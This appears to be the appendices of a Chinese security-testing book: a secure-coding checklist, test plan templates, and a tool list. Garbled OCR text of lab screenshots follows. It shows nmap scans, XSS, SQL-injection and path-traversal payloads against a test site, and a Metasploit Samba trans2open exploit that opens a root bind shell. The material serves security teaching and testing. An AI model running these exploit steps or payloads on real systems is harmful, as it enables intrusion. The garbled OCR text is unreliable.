·限制只有授权的用户才能访问与安全相关的配置信息。

·服务器端执行的访问控制规则和表示层实施的访问控制规则必须匹配。

·如果状态数据必须存储在客户端，使用加密算法，并在服务器端检查完整性以捕获状态的改变。

·强制应用程序逻辑流程遵照业务规则。

·限制单一用户或设备在一段时间内可以执行的事务数量。事务数量/时间应当高于实际的业务需求，但也应该足够低以判定自动化攻击。

·仅使用“referer”头作为补偿性质的检查。它永远不能被单独用来进行身份验证检查，因为它可以被伪造。

·如果长的身份验证会话被允许，周期性的重新验证用户的身份，以确保他们的权限没有改变。如果发生改变，注销该用户，并强制他们重新执行身份验证。

·执行账号审计并将没有使用的账号强制失效（比如在用户密码过期后的30天以内）。

·应用程序必须支持账号失效，并在账号停止使用时终止会话（比如角色、职务状况、业务处理的改变等）。

·服务账号，或连接到或来自外部系统的账号，应当只有尽可能小的权限。

·建立一个“访问控制政策”以明确一个应用程序的业务规则、数据类型和身份验证的标准或处理流程，确保访问可以被恰当地提供和控制。这包括了为数据和系统资源确定访问需求。

B.6　加密规范

·所有用于保护来自应用程序用户秘密信息的加密功能都必须在一个可信系统（比如：服务器）上执行。

·保护主要秘密信息免受未授权的访问。

·安全的处理加密模块失败的操作。

·为防范对随机数据的猜测攻击，应当使用加密模块中已验证的随机数生成器生成所有的随机数、随机文件名、随机GUID和随机字符串。

·应用程序使用的加密模块应当遵从FIPS 140-2或其他等同的标准（请见：http://csrc.nist.gov/groups/STM/cmvp/validation.html
 ）。

·建立并使用相关的政策和流程以实现加、解密的密钥管理。

B.7　错误处理和日志

·不要在错误响应中泄露敏感信息，包括：系统的详细信息、会话标识符或者账号信息。

·使用错误处理以避免显示调试或堆栈跟踪信息。

·使用通用的错误消息并使用定制的错误页面。

·应用程序应当处理应用程序错误，并且不依赖服务器配置。

·当错误条件发生时，适当的清空分配的内存。

·在默认情况下，应当拒绝访问与安全控制相关联的错误处理逻辑。

·所有的日志记录控制应当在可信系统（比如服务器）上执行。

·日志记录控制应当支持记录特定安全事件的成功或者失败操作。

·确保日志记录包含了重要的日志事件数据。

·确保日志记录中包含的不可信数据，不会在查看界面或者软件时以代码的形式被执行。

·限制只有授权的个人才能访问日志。

·为所有的日志记录采用一个主要的常规操作。

·不要在日志中保存敏感信息，包括：不必要的系统详细信息、会话标识符或密码。

·确保一个执行日志查询分析机制的存在。

·记录所有失败的输入验证。

·记录所有的身份验证尝试，特别是失败的验证。

·记录所有失败的访问控制。

·记录明显的修改事件，包括对于状态数据非期待的修改。

·记录连接无效或者已过期的会话令牌尝试。

·记录所有的系统例外。

·记录所有的管理功能行为，包括对于安全配置设置的更改。

·记录所有失败的后端TLS链接。

·记录加密模块的错误。

·使用加密哈希功能以验证日志记录的完整性。

B.8　数据保护

·授予最低权限，以限制用户只能访问为完成任务所需要的功能、数据和系统信息。

·保护所有存放在服务器上缓存的或临时拷贝的敏感数据，以避免非授权的访问，并在临时工作文件不再需要时被尽快清除。

·即使在服务器端，仍然要加密存储的高度机密信息，比如身份验证的验证数据。总是使用已经被很好验证过的算法，更多指导信息请参见“加密规范”部分。

·保护服务器端的源代码不被用户下载。

·不要在客户端上以明文形式或其他非加密安全模式保存密码、连接字符串或其他敏感信息。这包括嵌入在不安全的形式中：MS viewstate、Adobe flash或者已编译的代码。

·删除用户可访问产品中的注释，以防止泄露后台系统或者其他敏感信息。

·删除不需要的应用程序和系统文档，因为这些也可能向攻击者泄露有用的信息。

·不要在HTTP GET请求参数中包含敏感信息。

·禁止表单中的自动填充功能，因为表单中可能包含敏感信息，包括身份验证信息。

·禁止客户端缓存网页，因为可能包含敏感信息。“Cache-Control：no-store”，可以和HTTP报头控制“Pragma：no-cache”一起使用，该控制不是非常有效，但是与HTTP/1.0向后兼容。

·应用程序应当支持，当数据不再需要的时候，删除敏感信息（比如个人信息或者特定财务数据）。

·为存储在服务器中的敏感信息提供恰当的访问控制。这包括缓存的数据、临时文件以及只允许特定系统用户访问的数据。

B.9　通信安全

·为所有敏感信息采用加密传输。其中应该包括使用TLS对连接的保护，以及支持对敏感文件或非基于HTTP连接的不连续加密。

·TLS证书应当是有效的，有正确且未过期的域名，并且在需要时，可以和中间证书一起安装。

·没有成功的TLS连接不应当后退成为一个不安全的连接。

·为所有要求身份验证的访问内容和所有其他的敏感信息提供TLS连接。

·为包含敏感信息或功能、且连接到外部系统的连接使用TLS。

·使用配置合理的单一标准TLS连接。

·为所有的连接明确字符编码。

·当链接到外部站点时，过滤来自HTTP referer中包含敏感信息的参数。

B.10　系统配置

·确保服务器、框架和系统部件采用了认可的最新版本。

·确保服务器、框架和系统部件安装了当前使用版本的所有补丁。

·关闭目录列表功能。

·将Web服务器、进程和服务的账户限制为尽可能低的权限。

·当例外发生时，安全地进行错误处理。

·移除所有不需要的功能和文件。

·在部署前，移除测试代码和产品不需要的功能。

·通过将不进行对外检索的路径目录放在一个隔离的父目录里，以防止目录结构在robots.txt文档中暴露。然后，在robots.txt文档中“禁止”整个父目录，而不是对每个单独目录的“禁止”。

·明确应用程序采用哪种HTTP方法：GET或POST，以及是否需要在应用程序不同网页中以不同的方式进行处理。

·禁用不需要的HTTP方法，比如WebDAV扩展。如果需要使用一个扩展的HTTP方法以支持文件处理，则使用一个好的经过验证的身份验证机制。

·如果Web服务器支持HTTP1.0和1.1，确保以相似的方式对它们进行配置，或者确保您理解了它们之间可能存在差异（比如处理扩展的HTTP方法）。

·移除在HTTP相应报头中有关OS、Web服务版本和应用程序框架的无关信息。

·应用程序存储的安全配置信息应当可以以可读的形式输出，以支持审计。

·使用一个资产管理系统，并将系统部件和软件注册在其中。

·将开发环境从生成网络隔离开，并只提供给授权的开发和测试团队访问。开发环境往往没有实际生成环境那么安全，攻击者可以使用这些差别发现共有的弱点或者是可被利用的漏洞。

·使用一个软件变更管理系统以管理和记录在开发和产品中代码的变更。

B.11　数据库安全

·使用强类型的参数化查询方法。

·使用输入验证和输出编码，并确保处理了元字符。如果失败，则不执行数据库命令。

·确保变量是强类型的。

·当应用程序访问数据库时，应使用尽可能最低的权限。

·为数据库访问使用安全凭证。

·连接字符串不应当在应用程序中硬编码。连接字符串应当存储在一个可信服务器的独立配置文件中，并且应当被加密。

·使用存储过程以实现抽象访问数据，并允许对数据库中表的删除权限。

·尽可能地快速关闭数据库连接。

·删除或者修改所有默认的数据库管理员密码。使用强密码、强短语，或者使用多因子身份验证。

·关闭所有不必要的数据库功能［比如：不必要的存储过程或服务、应用程序包、仅最小化安装需要的功能和选项（表面范围缩减）］。

·删除厂商提供的不必要的默认信息（比如数据库模式示例）。

·禁用任何不支持业务需求的默认账号。

·应用程序应当以不同的凭证为每个信任的角色（比如用户、只读用户、访问用户、管理员）连接数据库。

B.12　文件管理

·不要把用户提交的数据直接传送给任何动态调用功能。

·在允许上传一个文档以前进行身份验证。

·只允许上传满足业务需要的相关文档类型。

·通过检查文件报头信息，验证上传文档是否是所期待的类型。只验证文件类型扩展是不够的。

·不要把文件保存在与应用程序相同的Web环境中。文件应当保存在内容服务器或者数据库中。

·防止或限制上传任意可能被Web服务器解析的文件。

·关闭在文件上传目录的运行权限。

·通过装上目标文件路径作为使用了相关路径或者已变更根目录环境的逻辑盘，在UNIX中实现安全的文件上传服务。

·当引用已有文件时，使用一个白名单记录允许的文件名和类型。验证传递的参数值，如果与预期的值不匹配，则拒绝使用，或者使用默认的硬编码文件值代替。

·不要将用户提交的数据传递到动态重定向中。如果必须允许使用，那么重定向应当只接受通过验证的相对路径URL。

·不要传递目录或文件路径，使用预先设置路径列表中的匹配索引值。

·绝对不要将绝对文件路径传递给客户。

·确保应用程序文件和资源是只读的。

·对用户上传的文件扫描进行病毒和恶意软件。

B.13　内存管理

·对不可信数据进行输入和输出控制。

·重复确认缓存空间的大小是否和指定的大小一样。

·当使用允许多字节拷贝的函数时，比如strncpy（），如果目的缓存容量和源缓存容量相等时，需要留意字符串没有NULL终止。

·如果在循环中调用函数时，检查缓存大小，以确保不会出现超出分配空间大小的危险。

·在将输入字符串传递给拷贝和连接函数前，将所有输入的字符串缩短到合理的长度。

·关闭资源时要特别注意，不要依赖垃圾回收机制（比如：连接对象、文档处理等）。

·在可能的情况下，使用不可执行的堆栈。

·避免使用已知有漏洞的函数（比如：printf，strcat，strcpy等）。

·当方法结束时和在所有的退出节点时，正确地清空所分配的内存。

B.14　通用编码规范

·为常用的任务使用已测试且已认可的托管代码，而不创建新的非托管代码。

·使用特定任务的内置API以执行操作系统的任务。不允许应用程序直接将代码发送给操作系统，特别是通过使用应用程序初始的命令shell。

·使用校验和或哈希值验证编译后的代码、库文件、可执行文件和配置文件的完整性。

·使用死锁来防止多个同时发送的请求，或使用一个同步机制防止竞态条件。

·在同时发生不恰当的访问时，保护共享的变量和资源。

·在声明时或在第一次使用前，明确初始化所有变量和其他数据存储。

·当应用程序运行发生必须提升权限的情况时，尽量晚点提升权限，并且尽快放弃所提升的权限。

·通过了解您使用的编程语言的底层表达式以及它们是如何进行数学计算，从而避免计算错误。密切注意字节大小依赖、精确度、有无符合、截尾操作、转换、字节之间的组合、“not-a-number”计算以及对于编程语言底层表达式如何处理非常大或者非常小的数。

·不要将用户提供的数据传递给任何动态运行的功能。

·限制用户生成新代码或更改现有代码。


附录C　测试文档模板

C.1　安全测试计划模板

1.简介

（1）目的

【简单介绍本次测试的目的及目标】

（2）背景

【对待测系统进行描述，包括主要功能、被测系统的架构、整体的网络拓扑结构以及项目简介等】

（3）范围

【明确本次测试的范围，包括IP范围、需测试的模块等】

（4）测试依据

【编写测试计划所需的文档，一般为项目计划、开发计划、需求文档、威胁建模文档等】

2.测试需求和风险

【列出需要在基于风险的安全测试策略下的需求，并且需要明确需求的优先级、可测试性；列出风险分析的结果，有哪些风险，风险的优先级。表格可以定制，见表C-1】

表C-1　测试需求表
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3.测试阶段和类型

【描述本次测试都有哪些测试阶段、每个阶段下都有哪些类型。表格可以定制（见表C-2），添加更详细的信息】

表C-2　测试阶段表
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4.资源

（1）人力资源

【列出在本项目中需要的人员信息，可根据自己公司自身特点适当地删除或添加角色（见表C-3）】

表C-3　测试人员表
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（2）系统资源

【需要的服务器、操作系统、数据库、中间件等（见表C-4）】

表C-4　系统资源表
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（3）测试工具

【描述整个测试过程中需要的测试工具（见表C-5）】

表C-5　测试工具表
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5.里程碑

【描述测试的时间安排（见表C-6）】

表C-6　测试时间表
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6.可交付物

【测试之后需要交付的相关文档，如安全测试计划、安全测试报告等】

7.风险

【描述测试过程中可能遇到的风险，比如时间上风险、技术上的风险等，并对风险进行优先级的划分，以及对相应风险采取的降低措施（见表C-7）】

表C-7　测试风险表
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C.2　测试用例模板

通用测试用例模板和Web通用测试用例模板分别如表C-8、表C-9所示。

表C-8　通用测试用例模板
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表C-9　Web通用测试用例模板表
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附录D　安全测试工具列表

D.1　源代码分析工具

·Google CodeSearchDiggity：开源，利用谷歌代码搜索开源代码项目的漏洞，如MS CodePlex，SourceForge，Github等。这个工具自带130个多个注入、跨站脚本、远程和本地文件包含、硬编码等漏洞分析。

·FindBugs：开源，Java程序的漏洞查找工具。

·FxCop：开源，微软的代码审查工具，主要目标是.NET程序，包括设计、本地化、性能和安全性测试。

·PreFast：开源，微软的静态代码审查工具，主要对象是C和C++，已经集成在Visual Studio中。

·RATS：Fortify的开源工具，支持C、C++、Perl、PHP和Python多种语言的审查工具。

·OWASP SWAAT Project：使用简单，支持Java、JSP、ASP.Net和PHP语言。

·Flawfinder：开源，支持C和C++的审查工具。

·RIPS：开源，PHP应用的静态代码审查工具。

·Brakeman：开源，Ruby的开源漏洞审查工具。

·Codesake Dawn：开源，支持Sinatra、Padrino和Ruby的审查工具。

·VCG：开源，C/C++、Java、C#和PL/SQL的代码审查工具。

·CodeXploiter：开源，PHP代码审查工具。

·Fortify SCA（Source Code Analysis）：商业，目前全球最大静态源代码检测厂商，支持语言最多。支持Java、JSP、ASP.NET、C#，VB.NET、C、C++、COBOL、ColdFusion、Transact-SQL、PL/SQL、JavaScript/Ajax、Classic、ASP、VBScript、VB6、PHP语言。

·CheckmarxCxSuite：以色列Checkmarx公司出品的商业源代码设计工具，支持JAVA、ASP.NET（C#、VB.NET）、JavaScript、Jscript、C/C++、APEX语言。

·ArmorizeCodeSecure：阿玛科技出品的商业源代码审查工具，支持ASP.NET（C#、VB.NET）、ASP、JAVA、PHP语言。

D.2　二进制文件分析工具

·LogiScan：商业软件，LogicLibrary在2004年9月收购了BugScan，此后对后者的二进制审核工具的品牌重新进行了命名，并将其包含到Logidex SDA管理方案中。

·BugScam：开源软件，BugScam是一个IDA　Pro的IDC脚本集合，它枚举了二进制文件中的函数调用，以识别出对各种不同库函数可能的不安全调用。

·Inspector：HB Gray出品的商业工具，Inspector是一个RCE管理系统，它统一了来自各种不同RCE工具的输出，例如IDA Pro和OllyDbg。

·SecurityReview：VeraCode的商业工具，该产品将一个二进制分析套件直接集成进开发环境，类似于源代码分析套件的功能，如Coverity。在二进制代码层次上进行分析，使得VeraCode能够检测出一些问题。这些问题与“所看到的并不一定是所执行的”有关。

D.3　模糊测试框架

·Antiparser：开源，基于Python开发的模糊测试框架，可以生成随机数据。

·Dfuz：开源，基于C语言开发的简单而且功能强大的模糊测试框架，可以针对许多协议和文件格式进行模糊测试。

·SPIKE：开源，使用最广泛并且知名度最高的模糊测试框架，可以快速有效地对网络协议进行模糊测试。

·Peach：开源，基于Python的跨平台的模糊测试框架，该框架提供了生成器、转换器、协议、发行器以及群组组件。

·Sulley：开源，基于Python开发的，目前最强大的模糊测试框架，可以自动化地完成模糊测试。

D.4　渗透测试工具

1.密码审计类

·Aircrack：用来破解802.11a/b/g WEP和WPA的工具套件。

·Cain and Abel：强大的密码破解工具，支持多种协议。

·John the Ripper：快速破解UNIX/Linux和Mac OS X的密码工具。

·THC Hydra：快速使用字典破解的密码破解工具，支持30多种协议。

·Ophcrack：免费的基于彩虹表的破解工具。

·L0phtCrack：破解Windows密码的工具。

·Brutus：基于图形界面的密码破解工具，只支持Windows，功能和Hydra一样。

2.嗅探类工具

·WireShark：开源的支持多平台的网络协议分析工具。

·Ettercap：局域网的嗅探工具。

·Netstumbler：Windows下查找无线访问点的工具。

3.漏洞扫描工具

·Nessus：最受欢迎的漏洞扫描器，最初是开源的工具，但是2008年之后开始商业化，现在有“Nessus Home”可以免费使用。

·OpenVAS：Nessus商业化之后出现的Nessus的开源版。

·Nexpose：漏洞扫描器，支持全生命周期的漏洞管理，包括发现、探测、确认、风险分类、报告、减缓。

4.Web扫描器

·Burp Suite：集成的Web应用攻击平台。

·Nikto：开源的Web服务器扫描器。

·W3af：强大的发现和利用Web应用漏洞的工具。

·WebScarab：OWASP发布的类似Burp的工具。

·Sqlmap：开源的SQL注入探测和利用工具。

·Skipfish：谷歌开发源代码的Web扫描器。

·Acunetix WVS：自动化的Web漏洞扫描器。

·AppScan：IBM出品的商业Web漏洞扫描器。

·Netsparker：快速的Web漏洞扫描器，尤其对SQL注入和XSS。

·WebInapect：HP出品的Web2.0漏洞扫描器。

·Firebug：火狐浏览器的插件，可以查看编辑HTML、CSS、DOM和JavaScript。

·DirBuster：OWASP开发的目录遍历工具。

·Wfuzz：Web应用的暴力破解工具。

5.漏洞利用工具

·Metasploit：强大的漏洞利用工具，包括探测扫描和利用等功能。

·Core Impact：商业化比较昂贵的综合漏洞利用工具。

·Sqlmap：强大的SQL注入漏洞利用工具。

·Canvas：商业的综合漏洞利用工具，比Core Impact便宜。

·Social Engineer Toolkit（SET）：强大的社会工程学工具。

6.手工发包工具（packter-crafters）

·Netcat：简单的读写基于TCP或UDP数据包工具。

·Hping：比ping更强大的工具。
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Windows NT 3.1 ~5 Linux kernel 2.6.0 52
Windows NT 3.5 7~8 Linux kernel 2.6.29 11
Windows 95 15 Linux kernel 2.6.32 12.6
Windows 98 18 Debian 5.0 324
Windows 2000 29 OpenSolaris 9.7
Windows XP 40 ~ 45 FreeBSD 8.8
Windows Vista 50 Mac 0S X 10.4 86
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il © hiip://192.168.1.104/cxphp/mywebmanage/ £ ~ B & X || @ index of /oxphp/myweb.. x
O GEO EY eEEN RO B0

Index of /cxphp/mywebmanage

Name Last modified ~ Size Description
& Parent Directory =
@ LeftTreephp 31-May-2008 1129 17K
) sbout.pho 30-May-2008 07:54 24K
@ add news.php 17-May-2008 11:04 4.0K

) 2dd news okcphp
[5) add product php

21-May-2008 1523 2.5K
17-May-2008 10:15 4.1K.
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ms hitpy//192.168.1.104/cxphp/mywebmansge/L O ~ B G X |gu;4 Not Found

4P SEE SV SESA TAD B8

Not Found

The requested URL /cxphp/mywebmanage/] was ot found on this server.
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| @ hitp/192:168.1.104/cxphp/mywebmanage/ O ~ B :I © 403 Forbidden

x

XAO KGO FEWY GEE0 TAD #EG)

Forbidden

‘You don't have permission to access /cxphp/mywebmanage! on this server.

Apache/2.2.22 (EL) Server at 192.165.1.104 Port 80
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LS eo192:168.110¢ cphp/mpmebmansgers 26X ] © 404 Notound

ZHO_SEO B8Q o@Rn) IAD WeH)

Not Found

‘The requested URL /cxphp/mywebmanage/] was notfound on tis server.

he/2.2.22 (EL) Server at 192.165.1.104 Port 80
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root@ali: ~# nmap -0 192.168.1.103

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-30 21:26 CST
Nmap scan report for localhost (192.168.1.103)
Host is up (0.00049s latency).

Not_shown: 994 closed ports

PORT STATE SERVICE

22/tcp  open ssh

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

443/tcp open https

1024/ tcp open kdm

MAC Address: 00:0C: 29: 8E: 67: 83 (VMware)

Device type: general purpose

Running: Linux 2.4.X

0S CPE: cpe:/o: Linux: linux_kernel: 2.4

0S details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
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root@ali: ~# nmap -p 22, 80, 111, 139, 443, 1024 -sV 192.168.1.103

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-30 21:20 CST
Nnap scan report for localhost (192.168.1.103)

Host is up (0.00022s latency).

PORT STATE SERVICE  VERSION

22/tcp  open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.
9. 6b)

111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd (workgroup: GMYGROUP)

443/tcp open ssl/http  Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.
9. 6b)

1024/ tcp open  status 1 (RPC #100024)

MAC Address: 00: 0C: 29: 8E: 67: 83 ( VMware)

Service detection performed. Please report any incorrect results at http://nmap. org/submit/ .
Nnap done: 1 IP address (1 host up) scanned in 12.34 seconds
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exploit/linux/ sambal chain_ reply 2010-06-16
amba chain_reply Memory Corruption (Linux x86)

exploit/linux/ sanbal Lsa_transnanes_heap 2007-05- 14
amba 1sa_io_trans_names Heap Overflow
exploit/linux/ sambal setinfopolicy_heap 2012-04- 10
amba SetInformationPolicy AuditEventsInfo Heap Overflow
exploit/1inux/ sambal t rans2open 2003-04- 07

amba trans2open Overflow (Linux x86)

good
good
normal

great
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7 Scan Report - o x
Fle Edit_Format
BB XRR[OC[ B u[ES=FF AL

Findings summary

XS5 (9p) n hitp/testohp.vulnweb.com/hop/

Vuherable URL:
ht:/testohp winweb.com/hpp/ 20p= <SCrDt> ar+pf_68747470302021746573747068702676756c6677656220636f6.
4216870702f.7070=newsBoolean();</scrpt>

XSS (p) I http:/testohp.vubweb.com/hpp/params.php.

Vuherable URL:
s/ testohp.wuinweb. com/hpp/ parars.php7p=<scrpt>varpf_68747470330121746573747068702676756<6677656.
1220636(64216870702170617261647326706870_70=new+Boolean ) </scot>89p=12

MySQL Infecton (artit) n http:/testphp.vunweb.comylstproducts.php.

Vunerable URL: htp//testphp.vuinweb. conylistproducts.php7artist=348F327%22%28.

MySQL Infecton (cat) n heeps//testphp.vulnweb. conylistproducts.php

Vunerable URL: htp://testphp.vulnweb.con/istproducts. php?cat=%8F%27%22%28

Remote nclde (fle) i htp://testphp.vuinweb.comyshowimage.php

Vunerable URL: http//testphp.vulnweb.com/showimage.phpfle=http33A%2F%2Fww. google. comie2F
XS5 (fle) i http:/jtestphp.vulnweb.comyshowimage.php

Vuherable URL:
e/ testohp vuinweb comyshowmage.phpfle= <scTptvarspf_687474703a2021746573747068702€767566e7765 v
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root@ali: ~# nmap -sT -P0O -Pn 192.168.1.103

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-30 21:14 CST
Nmap scan report for localhost (192.168.1.103)
Host is up (0.0016s latency).

Not shown: 994 closed ports

PORT  STATE SERVICE

22/tcp  open ssh

80/tcp open http

111/tcp open  rpcbind

139/tcp open netbios-ssn

443/tcp open https

1024/ tcp open  kdm

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds






OEBPS/Image00055.jpg
“+ httpi/testphp.vulnweb.comflistproducts phparts
+ httpi/testphp.vulnweb. comflistproducts phpartist=a¥ 3Benv

+ httpi/testphp.vulnweb.comlistproducts phpartist=a% 29% 3Benv

“+ httpi/testphp.vulnweb.comlistproducts php7artist=/2Fe00

“+ httpitestphp.vulnweb. comlistproducts phpPartist=4BF $27%22428

MySQL Injection (artist) in http://testphp vulnweb.comlistproducts. php

Vulnerable URL: htp//testphp.vulnweb.comilistproducts. phpar ist=4BF 427422428

K2F62F. 62F . K2F % 2F. % 2F. % 2F. K 2F. A2F. %2FbooL.ini%00
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nsf exploit(trans2open) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
nsf exploit(trans2open) >
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nsf > use exploit/linux/ samba/ trans2open
msf exploit(trans2open) > show options

Module options (exploit/1inux/sambalt rans2open):

Name Current Setting Required Description

RHOST yes The target address
RPORT 139 yes The target port

Exploit target:
Id Name

0 Samba 2.2.x - Bruteforce






OEBPS/Image00063.jpg
msf exploit(trans2open) > show options
Module options (exploit/linux/sambal trans2open):

Name Current Setting Required Description

RHOST 192.168.1.103  yes The target address
RPORT 139 yes The target port

Payload options (Linux/x86/shell_bind_tcp):

Name Current Setting Required Description

LPORT 4444 yes The listen port
RHOST 192.168.1.103  no The target address

Exploit target:
Id Name

0 Samba 2.2.x - Bruteforce
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nsf exploit(trans2open) > set payload linux/x86/shell_bind_tcp
payload => 1inux/ x86/shell_bind_tcp
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1d=0( root) groups=99( nobody)
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msf exploit(trans2open) > exploit

6]
[*
[*
[¢]
[*
]

Trying return address
Started bind handler
Trying return address
Trying return address
Trying return address
Command shell session

Oxbffffdfe. ..

Oxbffffcfe.
OxbffFfbfc.
Oxbffffafc.
1 opened (192 168. 1. 104: 55434 -> 192. 168. 1. 103: 4444) a

t 2015-07-30 22:25:22 +0800
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